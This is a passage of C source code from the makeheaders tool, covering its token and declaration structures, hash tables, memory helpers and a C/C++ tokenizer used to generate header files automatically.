# define PARSER 0x00000001
# define DECL_DUMP 0x00000002
# define TOKENIZER 0x00000004
#else
# define debug0(Flags, Format)
# define debug1(Flags, Format, A)
# define debug2(Flags, Format, A, B)
# define debug3(Flags, Format, A, B, C)
#endif
/*
** The following macros are purely for the purpose of testing this
** program on itself. They don't really contribute to the code.
*/
#define INTERFACE 1
#define EXPORT_INTERFACE 1
#define EXPORT
/*
** Each token in a source file is represented by an instance of
** the following structure. Tokens are collected onto a list.
*/
typedef struct Token Token;
struct Token {
const char *zText; /* The text of the token */
int nText; /* Number of characters in the token's text */
int eType; /* The type of this token */
int nLine; /* The line number on which the token starts */
Token *pComment; /* Most recent block comment before this token */
Token *pNext; /* Next token on the list */
Token *pPrev; /* Previous token on the list */
};
/*
** During tokenization, information about the state of the input
** stream is held in an instance of the following structure
*/
typedef struct InStream InStream;
struct InStream {
const char *z; /* Complete text of the input */
int i; /* Next character to read from the input */
int nLine; /* The line number for character z[i] */
};
/*
** Each declaration in the C or C++ source files is parsed out and stored as
** an instance of the following structure.
**
** A "forward declaration" is a declaration that an object exists that
** doesn't tell about the objects structure. A typical forward declaration
** is:
**
** struct Xyzzy;
**
** Not every object has a forward declaration. If it does, thought, the
** forward declaration will be contained in the zFwd field for C and
** the zFwdCpp for C++. The zDecl field contains the complete
** declaration text.
*/
typedef struct Decl Decl;
struct Decl {
char *zName; /* Name of the object being declared. The appearance
** of this name is a source file triggers the declaration
** to be added to the header for that file. */
char *zFile; /* File from which extracted. */
char *zIf; /* Surround the declaration with this #if */
char *zFwd; /* A forward declaration. NULL if there is none. */
char *zFwdCpp; /* Use this forward declaration for C++. */
char *zDecl; /* A full declaration of this object */
char *zExtra; /* Extra declaration text inserted into class objects */
int extraType; /* Last public:, protected: or private: in zExtraDecl */
struct Include *pInclude; /* #includes that come before this declaration */
int flags; /* See the "Properties" below */
Token *pComment; /* A block comment associated with this declaration */
Token tokenCode; /* Implementation of functions and procedures */
Decl *pSameName; /* Next declaration with the same "zName" */
Decl *pSameHash; /* Next declaration with same hash but different zName */
Decl *pNext; /* Next declaration with a different name */
};
/*
** Properties associated with declarations.
**
** DP_Forward and DP_Declared are used during the generation of a single
** header file in order to prevent duplicate declarations and definitions.
** DP_Forward is set after the object has been given a forward declaration
** and DP_Declared is set after the object gets a full declarations.
** (Example: A forward declaration is "typedef struct Abc Abc;" and the
** full declaration is "struct Abc { int a; float b; };".)
**
** The DP_Export and DP_Local flags are more permanent. They mark objects
** that have EXPORT scope and LOCAL scope respectively. If both of these
** marks are missing, then the object has library scope. The meanings of
** the scopes are as follows:
**
** LOCAL scope The object is only usable within the file in
** which it is declared.
**
** library scope The object is visible and usable within other
** files in the same project. By if the project is
** a library, then the object is not visible to users
** of the library. (i.e. the object does not appear
** in the output when using the -H option.)
**
** EXPORT scope The object is visible and usable everywhere.
**
** The DP_Flag is a temporary use flag that is used during processing to
** prevent an infinite loop. It's use is localized.
**
** The DP_Cplusplus, DP_ExternCReqd and DP_ExternReqd flags are permanent
** and are used to specify what type of declaration the object requires.
*/
#define DP_Forward 0x001 /* Has a forward declaration in this file */
#define DP_Declared 0x002 /* Has a full declaration in this file */
#define DP_Export 0x004 /* Export this declaration */
#define DP_Local 0x008 /* Declare in its home file only */
#define DP_Flag 0x010 /* Use to mark a subset of a Decl list
** for special processing */
#define DP_Cplusplus 0x020 /* Has C++ linkage and cannot appear in a
** C header file */
#define DP_ExternCReqd 0x040 /* Prepend 'extern "C"' in a C++ header.
** Prepend nothing in a C header */
#define DP_ExternReqd 0x080 /* Prepend 'extern "C"' in a C++ header if
** DP_Cplusplus is not also set. If DP_Cplusplus
** is set or this is a C header then
** prepend 'extern' */
/*
** Convenience macros for dealing with declaration properties
*/
#define DeclHasProperty(D,P) (((D)->flags&(P))==(P))
#define DeclHasAnyProperty(D,P) (((D)->flags&(P))!=0)
#define DeclSetProperty(D,P) (D)->flags |= (P)
#define DeclClearProperty(D,P) (D)->flags &= ~(P)
/*
** These are state properties of the parser. Each of the values is
** distinct from the DP_ values above so that both can be used in
** the same "flags" field.
**
** Be careful not to confuse PS_Export with DP_Export or
** PS_Local with DP_Local. Their names are similar, but the meanings
** of these flags are very different.
*/
#define PS_Extern 0x000800 /* "extern" has been seen */
#define PS_Export 0x001000 /* If between "#if EXPORT_INTERFACE"
** and "#endif" */
#define PS_Export2 0x002000 /* If "EXPORT" seen */
#define PS_Typedef 0x004000 /* If "typedef" has been seen */
#define PS_Static 0x008000 /* If "static" has been seen */
#define PS_Interface 0x010000 /* If within #if INTERFACE..#endif */
#define PS_Method 0x020000 /* If "::" token has been seen */
#define PS_Local 0x040000 /* If within #if LOCAL_INTERFACE..#endif */
#define PS_Local2 0x080000 /* If "LOCAL" seen. */
#define PS_Public 0x100000 /* If "PUBLIC" seen. */
#define PS_Protected 0x200000 /* If "PROTECTED" seen. */
#define PS_Private 0x400000 /* If "PRIVATE" seen. */
#define PS_PPP 0x700000 /* If any of PUBLIC, PRIVATE, PROTECTED */
/*
** The following set of flags are ORed into the "flags" field of
** a Decl in order to identify what type of object is being
** declared.
*/
#define TY_Class 0x00100000
#define TY_Subroutine 0x00200000
#define TY_Macro 0x00400000
#define TY_Typedef 0x00800000
#define TY_Variable 0x01000000
#define TY_Structure 0x02000000
#define TY_Union 0x04000000
#define TY_Enumeration 0x08000000
#define TY_Defunct 0x10000000 /* Used to erase a declaration */
/*
** Each nested #if (or #ifdef or #ifndef) is stored in a stack of
** instances of the following structure.
*/
typedef struct Ifmacro Ifmacro;
struct Ifmacro {
int nLine; /* Line number where this macro occurs */
char *zCondition; /* Text of the condition for this macro */
Ifmacro *pNext; /* Next down in the stack */
int flags; /* Can hold PS_Export, PS_Interface or PS_Local flags */
};
/*
** When parsing a file, we need to keep track of what other files have
** be #include-ed. For each #include found, we create an instance of
** the following structure.
*/
typedef struct Include Include;
struct Include {
char *zFile; /* The name of file include. Includes "" or <> */
char *zIf; /* If not NULL, #include should be enclosed in #if */
char *zLabel; /* A unique label used to test if this #include has
* appeared already in a file or not */
Include *pNext; /* Previous include file, or NULL if this is the first */
};
/*
** Identifiers found in a source file that might be used later to provoke
** the copying of a declaration into the corresponding header file are
** stored in a hash table as instances of the following structure.
*/
typedef struct Ident Ident;
struct Ident {
char *zName; /* The text of this identifier */
Ident *pCollide; /* Next identifier with the same hash */
Ident *pNext; /* Next identifier in a list of them all */
};
/*
** A complete table of identifiers is stored in an instance of
** the next structure.
*/
#define IDENT_HASH_SIZE 2237
typedef struct IdentTable IdentTable;
struct IdentTable {
Ident *pList; /* List of all identifiers in this table */
Ident *apTable[IDENT_HASH_SIZE]; /* The hash table */
};
/*
** The following structure holds all information for a single
** source file named on the command line of this program.
*/
typedef struct InFile InFile;
struct InFile {
char *zSrc; /* Name of input file */
char *zHdr; /* Name of the generated .h file for this input.
** Will be NULL if input is to be scanned only */
int flags; /* One or more DP_, PS_ and/or TY_ flags */
InFile *pNext; /* Next input file in the list of them all */
IdentTable idTable; /* All identifiers in this input file */
};
/*
** An unbounded string is able to grow without limit. We use these
** to construct large in-memory strings from lots of smaller components.
*/
typedef struct String String;
struct String {
int nAlloc; /* Number of bytes allocated */
int nUsed; /* Number of bytes used (not counting null terminator) */
char *zText; /* Text of the string */
};
/*
** The following structure contains a lot of state information used
** while generating a .h file. We put the information in this structure
** and pass around a pointer to this structure, rather than pass around
** all of the information separately. This helps reduce the number of
** arguments to generator functions.
*/
typedef struct GenState GenState;
struct GenState {
String *pStr; /* Write output to this string */
IdentTable *pTable; /* A table holding the zLabel of every #include that
* has already been generated. Used to avoid
* generating duplicate #includes. */
const char *zIf; /* If not NULL, then we are within a #if with
* this argument. */
int nErr; /* Number of errors */
const char *zFilename; /* Name of the source file being scanned */
int flags; /* Various flags (DP_ and PS_ flags above) */
};
/*
** The following text line appears at the top of every file generated
** by this program. By recognizing this line, the program can be sure
** never to read a file that it generated itself.
*/
const char zTopLine[] =
"/* \aThis file was automatically generated. Do not edit! */\n";
#define nTopLine (sizeof(zTopLine)-1)
/*
** The name of the file currently being parsed.
*/
static char *zFilename;
/*
** The stack of #if macros for the file currently being parsed.
*/
static Ifmacro *ifStack = 0;
/*
** A list of all files that have been #included so far in a file being
** parsed.
*/
static Include *includeList = 0;
/*
** The last block comment seen.
*/
static Token *blockComment = 0;
/*
** The following flag is set if the -doc flag appears on the
** command line.
*/
static int doc_flag = 0;
/*
** If the following flag is set, then makeheaders will attempt to
** generate prototypes for static functions and procedures.
*/
static int proto_static = 0;
/*
** A list of all declarations. The list is held together using the
** pNext field of the Decl structure.
*/
static Decl *pDeclFirst; /* First on the list */
static Decl *pDeclLast; /* Last on the list */
/*
** A hash table of all declarations
*/
#define DECL_HASH_SIZE 3371
static Decl *apTable[DECL_HASH_SIZE];
/*
** The TEST macro must be defined to something. Make sure this is the
** case.
*/
#ifndef TEST
# define TEST 0
#endif
#ifdef NOT_USED
/*
** We do our own assertion macro so that we can have more control
** over debugging.
*/
#define Assert(X) if(!(X)){ CantHappen(__LINE__); }
#define CANT_HAPPEN CantHappen(__LINE__)
static void CantHappen(int iLine){
fprintf(stderr,"Assertion failed on line %d\n",iLine);
*(char*)1 = 0; /* Force a core-dump */
}
#endif
/*
** Memory allocation functions that are guaranteed never to return NULL.
*/
static void *SafeMalloc(int nByte){
void *p = malloc( nByte );
if( p==0 ){
fprintf(stderr,"Out of memory. Can't allocate %d bytes.\n",nByte);
exit(1);
}
return p;
}
static void SafeFree(void *pOld){
if( pOld ){
free(pOld);
}
}
static void *SafeRealloc(void *pOld, int nByte){
void *p;
if( pOld==0 ){
p = SafeMalloc(nByte);
}else{
p = realloc(pOld, nByte);
if( p==0 ){
fprintf(stderr,
"Out of memory. Can't enlarge an allocation to %d bytes\n",nByte);
exit(1);
}
}
return p;
}
static char *StrDup(const char *zSrc, int nByte){
char *zDest;
if( nByte<=0 ){
nByte = strlen(zSrc);
}
zDest = SafeMalloc( nByte + 1 );
strncpy(zDest,zSrc,nByte);
zDest[nByte] = 0;
return zDest;
}
/*
** Return TRUE if the character X can be part of an identifier
*/
#define ISALNUM(X) ((X)=='_' || isalnum(X))
/*
** Routines for dealing with unbounded strings.
*/
static void StringInit(String *pStr){
pStr->nAlloc = 0;
pStr->nUsed = 0;
pStr->zText = 0;
}
static void StringReset(String *pStr){
SafeFree(pStr->zText);
StringInit(pStr);
}
static void StringAppend(String *pStr, const char *zText, int nByte){
if( nByte<=0 ){
nByte = strlen(zText);
}
if( pStr->nUsed + nByte >= pStr->nAlloc ){
if( pStr->nAlloc==0 ){
pStr->nAlloc = nByte + 100;
pStr->zText = SafeMalloc( pStr->nAlloc );
}else{
pStr->nAlloc = pStr->nAlloc*2 + nByte;
pStr->zText = SafeRealloc(pStr->zText, pStr->nAlloc);
}
}
strncpy(&pStr->zText[pStr->nUsed],zText,nByte);
pStr->nUsed += nByte;
pStr->zText[pStr->nUsed] = 0;
}
#define StringGet(S) ((S)->zText?(S)->zText:"")
/*
** Compute a hash on a string. The number returned is a non-negative
** value between 0 and 2**31 - 1
*/
static int Hash(const char *z, int n){
int h = 0;
if( n<=0 ){
n = strlen(z);
}
while( n-- ){
h = h ^ (h<<5) ^ *z++;
}
return h & 0x7fffffff;
}
/*
** Given an identifier name, try to find a declaration for that
** identifier in the hash table. If found, return a pointer to
** the Decl structure. If not found, return 0.
*/
static Decl *FindDecl(const char *zName, int len){
int h;
Decl *p;
if( len<=0 ){
len = strlen(zName);
}
h = Hash(zName,len) % DECL_HASH_SIZE;
p = apTable[h];
while( p && (strncmp(p->zName,zName,len)!=0 || p->zName[len]!=0) ){
p = p->pSameHash;
}
return p;
}
/*
** Install the given declaration both in the hash table and on
** the list of all declarations.
*/
static void InstallDecl(Decl *pDecl){
int h;
Decl *pOther;
h = Hash(pDecl->zName,0) % DECL_HASH_SIZE;
pOther = apTable[h];
while( pOther && strcmp(pDecl->zName,pOther->zName)!=0 ){
pOther = pOther->pSameHash;
}
if( pOther ){
pDecl->pSameName = pOther->pSameName;
pOther->pSameName = pDecl;
}else{
pDecl->pSameName = 0;
pDecl->pSameHash = apTable[h];
apTable[h] = pDecl;
}
pDecl->pNext = 0;
if( pDeclFirst==0 ){
pDeclFirst = pDeclLast = pDecl;
}else{
pDeclLast->pNext = pDecl;
pDeclLast = pDecl;
}
}
/*
** Look at the current ifStack. If anything declared at the current
** position must be surrounded with
**
** #if STUFF
** #endif
**
** Then this routine computes STUFF and returns a pointer to it. Memory
** to hold the value returned is obtained from malloc().
*/
static char *GetIfString(void){
Ifmacro *pIf;
char *zResult = 0;
int hasIf = 0;
String str;
for(pIf = ifStack; pIf; pIf=pIf->pNext){
if( pIf->zCondition==0 || *pIf->zCondition==0 ) continue;
if( !hasIf ){
hasIf = 1;
StringInit(&str);
}else{
StringAppend(&str," && ",4);
}
StringAppend(&str,pIf->zCondition,0);
}
if( hasIf ){
zResult = StrDup(StringGet(&str),0);
StringReset(&str);
}else{
zResult = 0;
}
return zResult;
}
/*
** Create a new declaration and put it in the hash table. Also
** return a pointer to it so that we can fill in the zFwd and zDecl
** fields, and so forth.
*/
static Decl *CreateDecl(
const char *zName, /* Name of the object being declared. */
int nName /* Length of the name */
){
Decl *pDecl;
pDecl = SafeMalloc( sizeof(Decl) + nName + 1);
memset(pDecl,0,sizeof(Decl));
pDecl->zName = (char*)&pDecl[1];
sprintf(pDecl->zName,"%.*s",nName,zName);
pDecl->zFile = zFilename;
pDecl->pInclude = includeList;
pDecl->zIf = GetIfString();
InstallDecl(pDecl);
return pDecl;
}
/*
** Insert a new identifier into an table of identifiers. Return TRUE if
** a new identifier was inserted and return FALSE if the identifier was
** already in the table.
*/
static int IdentTableInsert(
IdentTable *pTable, /* The table into which we will insert */
const char *zId, /* Name of the identifiers */
int nId /* Length of the identifier name */
){
int h;
Ident *pId;
if( nId<=0 ){
nId = strlen(zId);
}
h = Hash(zId,nId) % IDENT_HASH_SIZE;
for(pId = pTable->apTable[h]; pId; pId=pId->pCollide){
if( strncmp(zId,pId->zName,nId)==0 && pId->zName[nId]==0 ){
/* printf("Already in table: %.*s\n",nId,zId); */
return 0;
}
}
pId = SafeMalloc( sizeof(Ident) + nId + 1 );
pId->zName = (char*)&pId[1];
sprintf(pId->zName,"%.*s",nId,zId);
pId->pNext = pTable->pList;
pTable->pList = pId;
pId->pCollide = pTable->apTable[h];
pTable->apTable[h] = pId;
/* printf("Add to table: %.*s\n",nId,zId); */
return 1;
}
/*
** Check to see if the given value is in the given IdentTable. Return
** true if it is and false if it is not.
*/
static int IdentTableTest(
IdentTable *pTable, /* The table in which to search */
const char *zId, /* Name of the identifiers */
int nId /* Length of the identifier name */
){
int h;
Ident *pId;
if( nId<=0 ){
nId = strlen(zId);
}
h = Hash(zId,nId) % IDENT_HASH_SIZE;
for(pId = pTable->apTable[h]; pId; pId=pId->pCollide){
if( strncmp(zId,pId->zName,nId)==0 && pId->zName[nId]==0 ){
return 1;
}
}
return 0;
}
/*
** Remove every identifier from the given table. Reset the table to
** its initial state.
*/
static void IdentTableReset(IdentTable *pTable){
Ident *pId, *pNext;
for(pId = pTable->pList; pId; pId = pNext){
pNext = pId->pNext;
SafeFree(pId);
}
memset(pTable,0,sizeof(IdentTable));
}
#ifdef DEBUG
/*
** Print the name of every identifier in the given table, one per line
*/
static void IdentTablePrint(IdentTable *pTable, FILE *pOut){
Ident *pId;
for(pId = pTable->pList; pId; pId = pId->pNext){
fprintf(pOut,"%s\n",pId->zName);
}
}
#endif
/*
** Read an entire file into memory. Return a pointer to the memory.
**
** The memory is obtained from SafeMalloc and must be freed by the
** calling function.
**
** If the read fails for any reason, 0 is returned.
*/
static char *ReadFile(const char *zFilename){
struct stat sStat;
FILE *pIn;
char *zBuf;
int n;
if( stat(zFilename,&sStat)!=0
#ifndef WIN32
|| !S_ISREG(sStat.st_mode)
#endif
){
return 0;
}
pIn = fopen(zFilename,"r");
if( pIn==0 ){
return 0;
}
zBuf = SafeMalloc( sStat.st_size + 1 );
n = fread(zBuf,1,sStat.st_size,pIn);
zBuf[n] = 0;
fclose(pIn);
return zBuf;
}
/*
** Write the contents of a string into a file. Return the number of
** errors
*/
static int WriteFile(const char *zFilename, const char *zOutput){
FILE *pOut;
pOut = fopen(zFilename,"w");
if( pOut==0 ){
return 1;
}
fwrite(zOutput,1,strlen(zOutput),pOut);
fclose(pOut);
return 0;
}
/*
** Major token types
*/
#define TT_Space 1 /* Contiguous white space */
#define TT_Id 2 /* An identifier */
#define TT_Preprocessor 3 /* Any C preprocessor directive */
#define TT_Comment 4 /* Either C or C++ style comment */
#define TT_Number 5 /* Any numeric constant */
#define TT_String 6 /* String or character constants. ".." or '.' */
#define TT_Braces 7 /* All text between { and a matching } */
#define TT_EOF 8 /* End of file */
#define TT_Error 9 /* An error condition */
#define TT_BlockComment 10 /* A C-Style comment at the left margin that
* spans multple lines */
#define TT_Other 0 /* None of the above */
/*
** Get a single low-level token from the input file. Update the
** file pointer so that it points to the first character beyond the
** token.
**
** A "low-level token" is any token except TT_Braces. A TT_Braces token
** consists of many smaller tokens and is assembled by a routine that
** calls this one.
**
** The function returns the number of errors. An error is an
** unterminated string or character literal or an unterminated
** comment.
**
** Profiling shows that this routine consumes about half the
** CPU time on a typical run of makeheaders.
*/
static int GetToken(InStream *pIn, Token *pToken){
int i;
const char *z;
int cStart;
int c;
int startLine; /* Line on which a structure begins */
int nlisc = 0; /* True if there is a new-line in a ".." or '..' */
int nErr = 0; /* Number of errors seen */
z = pIn->z;
i = pIn->i;
pToken->nLine = pIn->nLine;
pToken->zText = &z[i];
switch( z[i] ){
case 0:
pToken->eType = TT_EOF;
pToken->nText = 0;
break;
case '#':
if( i==0 || z[i-1]=='\n' || (i>1 && z[i-1]=='\r' && z[i-2]=='\n')){
/* We found a preprocessor statement */
pToken->eType = TT_Preprocessor;
i++;
while( z[i]!=0 && z[i]!='\n' ){
if( z[i]=='\\' ){
i++;
if( z[i]=='\n' ) pIn->nLine++;
}
i++;
}
pToken->nText = i - pIn->i;
}else{
/* Just an operator */
pToken->eType = TT_Other;
pToken->nText = 1;
}
break;
case ' ':
case '\t':
case '\r':
case '\f':
case '\n':
while( isspace(z[i]) ){
if( z[i]=='\n' ) pIn->nLine++;
i++;
}
pToken->eType = TT_Space;
pToken->nText = i - pIn->i;
break;
case '\\':
pToken->nText = 2;
pToken->eType = TT_Other;
if( z[i+1]=='\n' ){
pIn->nLine++;
pToken->eType = TT_Space;
}else if( z[i+1]==0 ){
pToken->nText = 1;
}
break;
case '\'':
case '\"':
cStart = z[i];
startLine = pIn->nLine;
do{
i++;
c = z[i];
if( c=='\n' ){
if( !nlisc ){
fprintf(stderr,
"%s:%d: (warning) Newline in string or character literal.\n",
zFilename, pIn->nLine);
nlisc = 1;
}
pIn->nLine++;
}
if( c=='\\' ){
i++;
c = z[i];
if( c=='\n' ){
pIn->nLine++;
}
}else if( c==cStart ){
i++;
c = 0;
}else if( c==0 ){
fprintf(stderr, "%s:%d: Unterminated string or character literal.\n",
zFilename, startLine);
nErr++;
}
}while( c );
pToken->eType = TT_String;
pToken->nText = i - pIn->i;
break;
case '/':
if( z[i+1]=='/' ){
/* C++ style comment */
while( z[i] && z[i]!='\n' ){ i++; }
pToken->eType = TT_Comment;
pToken->nText = i - pIn->i;
}else if( z[i+1]=='*' ){
/* C style comment */
int isBlockComment = i==0 || z[i-1]=='\n';
i += 2;
startLine = pIn->nLine;
while( z[i] && (z[i]!='*' || z[i+1]!='/') ){
if( z[i]=='\n' ){
pIn->nLine++;
if( isBlockComment ){
if( z[i+1]=='*' || z[i+2]=='*' ){
isBlockComment = 2;
}else{
isBlockComment = 0;
}
}
}
i++;
}
if( z[i] ){
i += 2;
}else{
isBlockComment = 0;
fprintf(stderr,"%s:%d: Unterminated comment\n",
zFilename, startLine);
nErr++;
}
pToken->eType = isBlockComment==2 ? TT_BlockComment : TT_Comment;
pToken->nText = i - pIn->i;
}else{
/* A divide operator */
pToken->eType = TT_Other;
pToken->nText = 1 + (z[i+1]=='+');
}
break;
case '0':
if( z[i+1]=='x' || z[i+1]=='X' ){
/* A hex constant */
i += 2;
while( isxdigit(z[i]) ){ i++; }
}else{
/* An octal constant */
while( isdigit(z[i]) ){ i++; }
}
pToken->eType = TT_Number;
pToken->nText = i - pIn->i;
break;
case '1': case '2': case '3': case '4':
case '5': case '6': case '7': case '8': case '9':
while( isdigit(z[i]) ){ i++; }
if( (c=z[i])=='.' ){
i++;
while( isdigit(z[i]) ){ i++; }
c = z[i];
if( c=='e' || c=='E' ){
i++;
if( ((c=z[i])=='+' || c=='-') && isdigit(z[i+1]) ){ i++; }
while( isdigit(z[i]) ){ i++; }
c = z[i];
}
if( c=='f' || c=='F' || c=='l' || c=='L' ){ i++; }
}else if( c=='e' || c=='E' ){
i++;
if( ((c=z[i])=='+' || c=='-') && isdigit(z[i+1]) ){ i++; }
while( isdigit(z[i]) ){ i++; }
}else if( c=='L' || c=='l' ){
i++;
c = z[i];
if( c=='u' || c=='U' ){ i++; }
}else if( c=='u' || c=='U' ){
i++;
c = z[i];
if( c=='l' || c=='L' ){ i++; }
}
pToken->eType = TT_Number;
pToken->nText = i - pIn->i;
break;
case 'a': case 'b': case 'c': case 'd': case 'e': case 'f': case 'g':
case 'h': case 'i': case 'j': case 'k': case 'l': case 'm': case 'n':
case 'o': case 'p': case 'q': case 'r': case 's': case 't': case 'u':
case 'v': case 'w': case 'x': case 'y': case 'z': case 'A': case 'B':
case 'C': case 'D': case 'E': case 'F': case 'G': case 'H': case 'I':
case 'J': case 'K': case 'L': case 'M': case 'N': case 'O': case 'P':
case 'Q': case 'R': case 'S': case 'T': case 'U': case 'V': case 'W':
case 'X': case 'Y': case 'Z': case '_':
while( isalnum(z[i]) || z[i]=='_' ){ i++; };
pToken->eType = TT_Id;
pToken->nText = i - pIn->i;
break;
case ':':
pToken->eType = TT_Other;
pToken->nText = 1 + (z[i+1]==':');
break;
case '=':
case '<':
case '>':
case '+':
case '-':
case '*':
case '%':
case '^':
case '&':
case '|':
pToken->eType = TT_Other;
pToken->nText = 1 + (z[i+1]=='=');
break;
default:
pToken->eType = TT_Other;
pToken->nText = 1;
break;
}
pIn->i += pToken->nText;
return nErr;
}
/*
** This routine recovers the next token from the input file which is
** not a space or a comment or any text between an "#if 0" and "#endif".
**
** This routine returns the number of errors encountered. An error
** is an unterminated token or unmatched "#if 0".
**
** Profiling shows that this routine uses about a quarter of the
** CPU time in a typical run.
*/
static int GetNonspaceToken(InStream *pIn, Token *pToken){
int nIf = 0;
int inZero = 0;
const char *z;
int value;
int startLine;
int nErr = 0;
startLine = pIn->nLine;
while( 1 ){
nErr += GetToken(pIn,pToken);
/* printf("%04d: Type=%d nIf=%d [%.*s]\n",
pToken->nLine,pToken->eType,nIf,pToken->nText,
pToken->eType!=TT_Space ? pToken->zText : "<space>"); */
pToken->pComment = blockComment;
switch( pToken->eType ){
case TT_Comment:
case TT_Space:
break;
case TT_BlockComment:
if( doc_flag ){
blockComment = SafeMalloc( sizeof(Token) );
*blockComment = *pToken;
}
break;
case TT_EOF:
if( nIf ){
fprintf(stderr,"%s:%d: Unterminated \"#if\"\n",
zFilename, startLine);
nErr++;
}
return nErr;
case TT_Preprocessor:
z = &pToken->zText[1];
while( *z==' ' || *z=='\t' ) z++;
if( sscanf(z,"if %d",&value)==1 && value==0 ){
nIf++;
inZero = 1;
}else if( inZero ){
if( strncmp(z,"if",2)==0 ){
nIf++;
}else if( strncmp(z,"endif",5)==0 ){
nIf--;
if( nIf==0 ) inZero = 0;
}
}else{
return nErr;
}
break;
default:
if( !inZero ){
return nErr;
}
break;
}
}
/* NOT REACHED */
}
/*
** This routine looks for identifiers (strings of contiguous alphanumeric
** characters) within a preprocessor directive and adds every such string
** found to the given identifier table
*/
static void FindIdentifiersInMacro(Token *pToken, IdentTable *pTable){
Token sToken;
InStream sIn;
int go = 1;
sIn.z = pToken->zText;
sIn.i = 1;
sIn.nLine = 1;
while( go && sIn.i < pToken->nText ){
GetToken(&sIn,&sToken);
switch( sToken.eType ){
case TT_Id:
IdentTableInsert(pTable,sToken.zText,sToken.nText);
break;
case TT_EOF:
go = 0;
break;
default:
break;
}
}
}
/*
** This routine gets the next token. Everything contained within
** {...} is collapsed into a single TT_Braces token. Whitespace is
** omitted.
**
** If pTable is not NULL, then insert every identifier seen into the
** IdentTable. This includes any identifiers seen inside of {...}.
**
** The number of errors encountered is returned. An error is an
** unterminated token.
*/
static int GetBigToken(InStream *pIn, Token *pToken, IdentTable *pTable){
const char *z, *zStart;
int iStart;
int nBrace;
int c;
int nLine;
int nErr;
nErr = GetNonspaceToken(pIn,pToken);
switch( pToken->eType ){
case TT_Id:
if( pTable!=0 ){
IdentTableInsert(pTable,pToken->zText,pToken->nText);
}
return nErr;
case TT_Preprocessor:
if( pTable!=0 ){
FindIdentifiersInMacro(pToken,pTable);
}
return nErr;
case TT_Other:
if( pToken->zText[0]=='{' ) break;
return nErr;
default:
return nErr;
}
z = pIn->z;
iStart = pIn->i;
zStart = pToken->zText;
nLine = pToken->nLine;
nBrace = 1;
while( nBrace ){
nErr += GetNonspaceToken(pIn,pToken);
/* printf("%04d: nBrace=%d [%.*s]\n",pToken->nLine,nBrace,
pToken->nText,pToken->zText); */
switch( pToken->eType ){
case TT_EOF:
fprintf(stderr,"%s:%d: Unterminated \"{\"\n",
zFilename, nLine);
nErr++;
pToken->eType = TT_Error;
return nErr;
case TT_Id:
if( pTable ){
IdentTableInsert(pTable,pToken->zText,pToken->nText);
}
break;
case TT_Preprocessor:
if( pTable!=0 ){
FindIdentifiersInMacro(pToken,pTable);
}
break;
case TT_Other:
if( (c = pToken->zText[0])=='{' ){
nBrace++;
}else if( c=='}' ){
nBrace--;
}
break;
default:
break;
}
}
pToken->eType = TT_Braces;
pToken->nText = 1 + pIn->i - iStart;
pToken->zText = zStart;
pToken->nLine = nLine;
return nErr;
}
/*
** This routine frees up a list of Tokens. The pComment tokens are
** not cleared by this. So we leak a little memory when using the -doc
** option. So what.
*/
static void FreeTokenList(Token *pList){
Token *pNext;
while( pList ){
pNext = pList->pNext;
SafeFree(pList);
pList = pNext;
}
}
/*
** Tokenize an entire file. Return a pointer to the list of tokens.
**
** Space for each token is obtained from a separate malloc() call. The
** calling function is responsible for freeing this space.
**
** If pTable is not NULL, then fill the table with all identifiers seen in
** the input file.
*/
static Token *TokenizeFile(const char *zFile, IdentTable *pTable){
InStream sIn;
Token *pFirst = 0, *pLast = 0, *pNew;
int nErr = 0;
sIn.z = zFile;
sIn.i = 0;
sIn.nLine = 1;
blockComment = 0;
while( sIn.z[sIn.i]!=0 ){
pNew = SafeMalloc( sizeof(Token) );
nErr += GetBigToken(&sIn,pNew,pTable);
debug3(TOKENIZER, "Token on line %d: [%.*s]\n",
pNew->nLine, pNew->nText<50 ? pNew->nText : 50, pNew->zText);
if( pFirst==0 ){
pFirst = pLast = pNew;
pNew->pPrev = 0;
}else{
pLast->pNext = pNew;
pNew->pPrev = pLast;
pLast = pNew;
}
if( pNew->eType==TT_EOF ) break;
}
if( pLast ) pLast->pNext = 0;
blockComment = 0;
if( nErr ){
FreeTokenList(pFirst);
pFirst = 0;
}
return pFirst;
}
#if TEST==1
/*
** Use the following routine to test or debug the tokenizer.
*/
void main(int argc, char **argv){
char *zFile;
Token *pList, *p;
IdentTable sTable;
if( argc!=2 ){
fprintf(stderr,"Usage: %s filename\n",*argv);
exit(1);
}
memset(&sTable,0,sizeof(sTable));
zFile = ReadFile(argv[1]);
if( zFile==0 ){
fprintf(stderr,"Can't read file \"%s\"\n",argv[1]);
exit(1);
}
pList = TokenizeFile(zFile,&sTable);
for(p=pList; p; p=p->pNext){
int j;
switch( p->eType ){
case TT_Space:
printf("%4d: Space\n",p->nLine);
break;
case TT_Id:
printf("%4d: Id %.*s\n",p->nLine,p->nText,p->zText);
break;
case TT_Preprocessor:
printf("%4d: Preprocessor %.*s\n",p->nLine,p->nText,p->zText);
break;
case TT_Comment:
printf("%4d: Comment\n",p->nLine);
break;
case TT_BlockComment:
printf("%4d: Block Comment\n",p->nLine);
break;
case TT_Number:
printf("%4d: Number %.*s\n",p->nLine,p->nText,p->zText);
break;
case TT_String:
printf("%4d: String %.*s\n",p->nLine,p->nText,p->zText);
break;
case TT_Other:
printf("%4d: Other %.*s\n",p->nLine,p->nText,p->zText);
break;
case TT_Braces:
for(j=0; j<p->nText && j<30 && p->zText[j]!='\n'; j++){}
printf("%4d: Braces %.*s...}\n",p->nLine,j,p->zText);
break;
case TT_EOF:
printf("%4d: End of file\n",p->nLine);
break;
default:
printf("%4d: type %d\n",p->nLine,p->eType);
break;
}
}
FreeTokenList(pList);
SafeFree(zFile);
IdentTablePrint(&sTable,stdout);
}
#endif
#ifdef DEBUG
/*
** For debugging purposes, write out a list of tokens.
*/
static void PrintTokens(Token *pFirst, Token *pLast){
int needSpace = 0;
int c;
pLast = pLast->pNext;
while( pFirst!=pLast ){
switch( pFirst->eType ){
case TT_Preprocessor:
printf("\n%.*s\n",pFirst->nText,pFirst->zText);
needSpace = 0;
break;
case TT_Id:
case TT_Number:
printf("%s%.*s", needSpace ? " " : "", pFirst->nText, pFirst->zText);
needSpace = 1;
break;
default:
c = pFirst->zText[0];
printf("%s%.*s",
(needSpace && (c=='*' || c=='{')) ? " " : "",
pFirst->nText, pFirst->zText);
needSpace = pFirst->zText[0]==',';
break;
}
pFirst = pFirst->pNext;
}
}
#endif
/*
** Convert a sequence of tokens into a string and return a pointer
** to that string. Space to hold the string is obtained from malloc()
** and must be freed by the calling function.
**
** Certain keywords (EXPORT, PRIVATE, PUBLIC, PROTECTED) are always
** skipped.
**
